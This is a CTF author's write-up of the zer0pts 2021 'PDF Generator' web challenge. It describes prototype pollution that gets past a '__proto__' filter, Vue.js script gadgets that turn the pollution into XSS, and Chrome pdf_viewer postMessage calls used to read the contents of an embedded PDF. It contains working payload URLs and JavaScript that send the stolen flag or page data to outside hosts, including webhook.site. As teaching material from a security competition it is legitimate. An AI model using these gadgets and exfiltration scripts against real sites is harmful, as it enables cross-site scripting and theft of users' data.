zer0pts CTF 2021 - Author's writeup for PDF Generator

zer0pts CTF 2021 was held from March 6th to March 7th. I've created the challenge named PDF Generator for the CTF,  this is the first time I am creating a challenge for a CTF, I've learned so many things and looking forward to creating awesome challenges in the future.

Challenge Description

I've created a pdf generator check it out
Source Code: Link


The basic functionality is user can create a pdf with given text and the generated pdf is embedded in the document. Flag is in the pdf which is embedded in the admin document.

Intended Solution

TL;DR

Prototype pollution in the location.search parameters parsing, finding a script gadget in Vue.js to get XSS. And interesting part is to read the flag in the PDF using postMessage supported by chrome pdf_viewer.

Prototype Pollution

parseQuery function is vulnerable to prototype pollution which is a similar implementation of canjs-deparam module.

var params = parseQuery(location.search.slice(1));

var app = new Vue({

   el: '#app',

   data: {

       title: 'Text to PDF Convertor'

   }

});

if(params.name && params.text ){

 document.getElementById("name").innerText = "Hi, "+ params.name;

 document.getElementById("text").value = params.text;

}


function parseQuery(params, valueDeserializer) {

 valueDeserializer = valueDeserializer || idenity;

 var data = {}, pairs, lastPart;

 if (params && paramTest.test(params)) {

     pairs = params.split('&');

     pairs.forEach(function (pair) {

         var parts = pair.split('='),


........................removed for brevity .............................


               if(currentName !== "__proto__")

                 current[lastPart] = valueDeserializer(value);

             }

         }

     });

 }

 return data;

};

I've added a little filter to restrict prototype pollution by blocking "__proto__" as a property. But, we can pollute the prototype of Object by polluting "constructor.prototype" property of an object.

So visiting the following url pollutes the prototype https://pdfgen.ctf.zer0pts.com:8443/text?text=text&a[constructor][prototype][pollute]=polluted.

asd[constructor][prototype][pollute]=polluted

Script Gadget

Next step is to find a script gadget to get XSS. As I am using Vue.js in the application, its obvious to find a script gadget in Vue.js. Afaik, there are no public script gadgets for vue, one has to find the script gadget. There are quiet a few script gadgets in vue, below are the few gadgets.

<!Doctype html>

<head>

<title>title</title>

<script src="https://notpdfgen.ctf.zer0pts.com:8443/static/bundle.js"></script>

</head>


<div id="app">

 <h3>{{title}}</h3>

</div>

<script>


//var params = parseQuery(location.search.slice(1));


var params = parseQuery(`constructor[prototype][props][][value]=a&constructor[prototype][name]=":''.constructor.constructor('alert(1337)')(),"`)


//var params = parseQuery(`constructor[prototype][v-if]=_c.constructor('alert(1337)')()`)


//var params = parseQuery('constructor[prototype][data]=a&constructor[prototype][template][nodeType]=a&constructor[prototype][template][innerHTML]="<script>alert(1337)<\/script>"')


//var params = parseQuery(`constructor[prototype][v-bind:class]=''.constructor.constructor('alert(1337)')()`)

/*

Object.prototype.attrs = [{'name':'src','value':'xxx'}];

Object.prototype.xxx = ['data:,alert(1)//'];

Object.prototype.is = 'script';

*/

var app = new Vue({

  el: '#app',

  data: {

      title: 'Text to PDF Convertor'

  }

});

</script>


Read Flag in the PDF using pdf_viewer postMessage

This is the interesting part of the challenge, where the solver needs to read the flag(contents) in the PDF from the DOM. 

There is an interesting feature in chrome pdf_viewer using postMessage we can select text of the PDF and read the selected text.

here: https://source.chromium.org/chromium/chromium/src/+/master:chrome/browser/resources/pdf/pdf_viewer.js;l=770


switch (message.data.type.toString()) {

 case 'getSelectedText':

   this.pluginController_.getSelectedText().then(

       this.handleSelectedTextReply.bind(this));

   break;

 case 'getThumbnail':

   const getThumbnailData =

       /** @type {GetThumbnailMessageData} */ (message.data);

   const page = getThumbnailData.page;

   this.pluginController_.requestThumbnail(page).then(

       this.sendScriptingMessage.bind(this));

   break;

 case 'print':

   this.pluginController_.print();

   break;

 case 'selectAll':

   this.pluginController_.selectAll();

   break;

}

Using this feature we can read the flag.

window.addEventListener('message', (e) => {

 if (e.data.type === 'getSelectedTextReply') {

   (new Image).src = ['https://ctf.s1r1us.ninja/1d9e11f1-9421-40d3-954f-8c2712c9d16e?data=', e.data.selectedText];

 }

});

(async () => {

 const wait = x => new Promise(r=>{setTimeout(r,x)});

 document.getElementsByTagName('embed')[0].postMessage({type:'selectAll'}, '*');

 document.getElementsByTagName('embed')[0].postMessage({type:'getSelectedText'}, '*');

})();


The final payload looks like

https://pdfgen.ctf.zer0pts.com:8443/text?texts=asd&a[constructor][prototype][props][][value]=a&a[constructor][prototype][name]=a":''.constructor.constructor('eval(decodeURIComponent(location.hash.slice(1)))')(),"a#

window.addEventListener('message', (e) => {

 if (e.data.type === 'getSelectedTextReply') {

   (new Image).src = ['https://ctf.s1r1us.ninja/1d9e11f1-9421-40d3-954f-8c2712c9d16e?data=', e.data.selectedText];

 }

});

(async () => {

 const wait = x => new Promise(r=>{setTimeout(r,x)});

 document.getElementsByTagName('embed')[0].postMessage({type:'selectAll'}, '*');

 document.getElementsByTagName('embed')[0].postMessage({type:'getSelectedText'}, '*');

})();

Unintended Solutions

Unintended Solution 1


Because of my ignorance, people found unintended solutions but they are really good. 

I fixed a bug which uses fetch to read flag PDF url and curl to send "sec-fetch-dest: embed" which bypasses the server side check and released Not PDF Generator.

app.use("/uploads/:file",function(req, res, next){

 if(req.headers['sec-fetch-dest']=='embed'){

   next();

 }

 else{

   res.send('sorry');

 }

});


xof5566 solution

https://pdfgen.ctf.zer0pts.com:8443/?a[constructor][prototype][template]=

<embed src=1 onload="fetch(`/text`).then(a=>a.text()).then(a=>fetch('https://webhook.site/cc73f1e5-1fc3-455d-8ae0-715573a3ea2d?c='+btoa(a)))">

Unintended Solution 2

I fixed the bug with the below code by allowing only local host requests to read the flag.

app.get('/9ab76d233b52165bf9450f81d0784425',(req,res) => {

 //res.set('Cache-Control', 'no-store, max-age=0');//This Not PDF revenge Fix

 const ip = req.connection.remoteAddress;

 var filename = './9ab76d233b52165bf9450f81d0784425'

 if(ip === "127.0.0.1"  || ip === "10.5.0.3"  || ip === "::ffff:10.5.0.3" || ip === "::1" || ip === "::ffff:127.0.0.1"){

   if(fs.existsSync(filename)){

     var file = fs.createReadStream(filename);

     file.pipe(res);

   }else{

     res.send('contact admin');

   }

 }

});


Then all teams except K-Students solved with one more unintended solution which uses fetch with force-cache to read the flag without hitting the server.

https://notpdfgen.ctf.zer0pts.com:8443/?sdf[constructor][prototype][title]=2&sdf[constructor][prototype][template][nodeType]=2&sdf[constructor][prototype][template][innerHTML]=<div id="app"><h3>{{title}}</h3><embed src="/9ab76d233b52165bf9450f81d0784425" type="application/pdf"><iframe srcdoc="<script>setTimeout(()=>{fetch('/9ab76d233b52165bf9450f81d0784425',{'cache':'force-cache'}).then((r)=>r.blob()).then((r)=>{

var reader = new FileReader();

reader.readAsDataURL(r);

reader.onloadend = function() {

    var base64data = reader.result;               

    fetch(`https://webhook.site/6d70d220-61cc-45f1-b79b-8005f993da3a`,{method:`POST`,body:base64data});}

})},1000);</script>"></iframe></div>



I have mixed feelings about the unintended solutions, they are so interesting at the same time I am not able to make them solve with intended solution.